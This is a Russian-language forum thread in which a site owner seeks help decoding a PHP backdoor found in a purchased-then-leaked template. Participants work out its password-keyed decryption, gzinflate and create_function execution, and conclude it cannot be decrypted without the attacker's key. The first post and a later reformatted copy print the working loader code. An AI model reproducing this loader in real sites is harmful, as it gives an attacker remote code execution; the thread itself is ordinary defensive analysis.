Походу, подкинули на сайт шелл или нечто подобное. Уважаемые гуру, помогите расшифровать код. Хочется посмотреть нутро. Код (PHP): <?php $g___g_='base'.(32*2).'_de'.'code';$g___g_=$g___g_(str_replace("\n", '', 'FLI/sUCbFkqWeYcDiBCHkiQFflgDwTurRxS5UOjTHhtMruxGga3xfsWRH7/uYOda3hUgVPO164UXPF5K ... вырезано 20 килобайт кода ... fG374YVXjO+1ZlFafg6IFY4ZunFyZjE+ncSfBBD0jCZanddGuD5fHfMpRa3tXDUBSzCdONKpoDgxSbaF '));$g__g_=isset($_POST['g__g_'])?$_POST['g__g_']:(isset($_COOKIE['g__g_'])?$_COOKIE['g__g_']:NULL);if($g__g_!==NULL){$g__g_=md5($g__g_).substr(md5(strrev($g__g_)),0,strlen($g__g_));for($g____g_=0;$g____g_<15180;$g____g_++){$g___g_[$g____g_]=chr(( ord($g___g_[$g____g_])-ord($g__g_[$g____g_]))%256);$g__g_.=$g___g_[$g____g_];}if($g___g_=@gzinflate($g___g_)){if(isset($_POST['g__g_']))@setcookie('g__g_', $_POST['g__g_']);$g____g_=create_function('',$g___g_);unset($g___g_,$g__g_);$g____g_();}}?><form action="" method="post"><input type="text" name="g__g_" value=""/><input type="submit" value=">"/></form>
Было бы всё так просто, сделал бы сам. Попробуйте... Там еще: Код (PHP): $g___g_[$g____g_]=chr(( ord($g___g_[$g____g_])-ord($g__g_[$g____g_]))%256); и Код (PHP): $g___g_=@gzinflate($g___g_) Вдобавок что-то зашифровано через md5. У меня что-то не выходит, разобраться, не хватает знаний, по этому и прошу... <:-(
а, не заметил... ну судя по всему этот код еще принимает через пост или куки какую-то строку которая дешифрует месиво и тогда уже создается валидная функция. обратите внимание сколько в интернетах есть вариаций этого кода. мне кажется декодирование не имеет смысла. снесите его и займитесь безопасностью сервера.
Понял... Просто люди ещё до меня делали сайт и прицепили к нему платный шаблон слитый из "недостоверных" источников (идиоты >:-E)! Походу эта хрень там была изначально. С самим сервером, думаю всё нормально. А вот файлы и код придётся перелопапить. Начнем с aibolit... Жаль что это чудо нельзя глянуть изнутри, ну да ладно... В любом случае спасибо. Добавлено спустя 20 минут 26 секунд: Вы слишком поверхносно смотрите... Похоже Ganzal прав. Без передачи верных данных в POST или наличии правильного COOKIE, содержимое не вытянуть, а жаль... Гляньте ещё раз на код (для наглядности я его немного отформатировал, переименовал переменные и убрал мусор): Код (PHP): <?php $aa1='base'.(32*2).'_de'.'code'; $aa1=$aa1(str_replace("\n", '', '... Куча секретных букафф ... ')); $bb1=isset($_POST['$bb1'])?$_POST['$bb1']:(isset($_COOKIE['$bb1'])?$_COOKIE['$bb1']:NULL); if($bb1!==NULL){ $bb1=md5($bb1).substr(md5(strrev($bb1)),0,strlen($bb1)); for($cc1=0;$cc1<15180;$cc1++){ $aa1[$cc1]=chr(( ord($aa1[$cc1])-ord($bb1[$cc1]))%256); $bb1.=$aa1[$cc1]; } if($aa1=@gzinflate($aa1)){ if(isset($_POST['$bb1'])) @setcookie('$bb1', $_POST['$bb1']); $cc1=create_function('',$aa1); unset($aa1,$bb1); $cc1(); } } ?> <form action="" method="post"> <input type="text" name="$bb1" value=""/> <input type="submit" value=">"/> </form>
Блин, это и ежу понятно, но хочется посмотреть его нутро и возможности! Метод относительно новый и весьма действенный. Жаль нигде подробностей или его обсуждение с исходниками найти не удалось.
Да полно, но обсуждения только в том ключе, что дескать оно обнаружено и вопросы - как расшифровать, но не более... Полазив по форумам с обсуждением php шеллов, бэкдоров и прочей лабуды, нигде не натолкнулся на обуждение подобных зловредов. Уж очень интересно, узнать - это просто метод шифрования или некий шелл. Если да, интересны штатные возможности и т.п.
ахахаха. надо еще добавить "каков подлец.." А вообще igordata прав как я понимаю есть 2 вещи, это $aa1, код который хранится на сервере и доступа (для изменения) грубо говоря к нему нет у злоумышленника, и второе это $bb1, который мы получаем из $_POST['$bb1'] т.е. это как раз отправляет нам злоумышленник. я так понимаю $aa1 это функция которая делает 2 вещи, первое проверяет пароль (код) который вшит в $aa1 если он совпадает, то выполняет определенный код, как и написано выше а $bb1 передает 2 вещи, ключ (пароль) и собственно код, который надо выполнить. Добавлено спустя 2 минуты 56 секунд: А почему Вы не срисуете, то, что вам присылают, поправьте этот код, уберите вызов метода, т.е. за комментируйте непосредственно вызов этой функции: $cc1(); а все остальное запишите в файл, потом прочитайте что за $_POST['$bb1'], и т.д.
Определимся с переменными: aa1 : зашифрованный код bb1 : данные в POST или COOKIES сс1 : в результате - созданный после расшифровки код функции (правда перед этим она используется в как просто счётчик в цикле) Если вы чуть внимательнее посмотрите код, то увидите, что: 1. Если в POST ничего не передаётся и в кукисах ничего нет, то дальше код не срабатывает. 2. Если туда передать "неверные" данные, то результат работы строки: Код (PHP): $aa1[$cc1]=chr(( ord($aa1[$cc1])-ord($bb1[$cc1]))%256); будет неправильным. 3. Как следствие корректно не отработает gzinflate и соответственно мы не получим расшифрованного кода и вернёмся на ввод bb1 Т.е. bb1 не просто пароль, а ключ для дешифровки, не зная который узнать что внутри не представляется возможным. Добавлено спустя 2 минуты: Ну дак покажите содержимое eval(decoded());!
не понимаю тебя. тут представлена функция, которая декодирует некий присланный код (еще и сжатый гзипом), помещает его в переменную $aa1, эту переменную скармливает функции http://php.ru/manual/function.create-function.html которая создаёт (внезапно) анонимку с именем, имя помещается в $cc1 и вызывается. Чего тут загадочного-то?
Расшифровать содержимое зашифрованного кода. Во первых - алгоритм немного другой... aa1 хранит код зажатый гзипом и дополнительно зашифрованый ключём bb1. при передаче через пост (или из кукисов) верного значения bb1 всё расшифровывается, создаётся кукис (если bb1 через пост) и создаётся функция cc1 c содержимым расшифрованного aa1. Во вторых... Я про суп, а вы про борщ! Главный вопрос топика - расшифровать! Я говорю что хочу посмотреть расшифрованный код, а вы говорите посмотри var_dump($g___g_) или eval(decoded()). Про невозможность расшифровки уважаемый Ganzal написал в самом начале еще в своём втором посте. На этом вопрос можно было закрывать. Но вы же упрямо продолжаете повторять про eval(decoded()) и т.д. По этому я и вступил в полемику. Узнать корректный результат без известного bb1 НЕВОЗМОЖНО. Жаль... В общем-то всё, диспут, думаю, можно закрывать. Хотя если есть ещё какие-либо аргументы, то готов подискуссировать. Добавлено спустя 9 минут 52 секунды: С чего вы это взяли? Проблема в том, что походу bb1 не вшит в aa1. Ничего не присылают. К файлу давно небыло обращений. Может забили (или зыбыли). Но буду мониторить...
дык для этого надо знать то, что присылают постом или кукой. Это небольшая строка. вы просто не понимаете смысла моих слов.
Не присылают... Вы опять невнимательны. Я писал выше, что обращений к файлу не было (по крайней мере в доступных мне логах). Видно забили или ваще не юзали. В этом и проблема - bb1 неизвестен... И то, что это небольшая строка - нифига не спасает.
декодированный base64 выглядит таким вот странным образом. Код (Text): 14b2 3fb1 409b 164a 9679 8703 8810 8792 2405 7e58 03c1 3bab 4714 b950 e8d3 1e1b 4cae ec46 81ad f17e c591 1fbf ee60 e75a de15 2054 f3b5 eb85 173c 5e4a 4a21 721f b50c ae81 9c05 f5ed 5c8d 05e5 ba20 6855 Это допустим $base назовём. Потом по этому делу проходит ord() который берёт символ из $base и вычитает из них ord() соотв. символа из поста. При этом в переменной, которой присваиваются данные из поста, сидит Код (Text): $post = md5($post) . md5(strrev($post)); потом делается Код (Text): for ($i = 0; $i < 15180; $i++) { $base[$i] = chr((ord($base[$i]) - ord($post[$i])) % 256); $post .= $base[$i]; } что бред, ибо $post гарантированно 32 байта. Добавлено спустя 1 минуту 6 секунд: Для этого надо знать, что присылают. А присылают или нет - это вопрос второй. Добавлено спустя 9 минут 2 секунды: малболг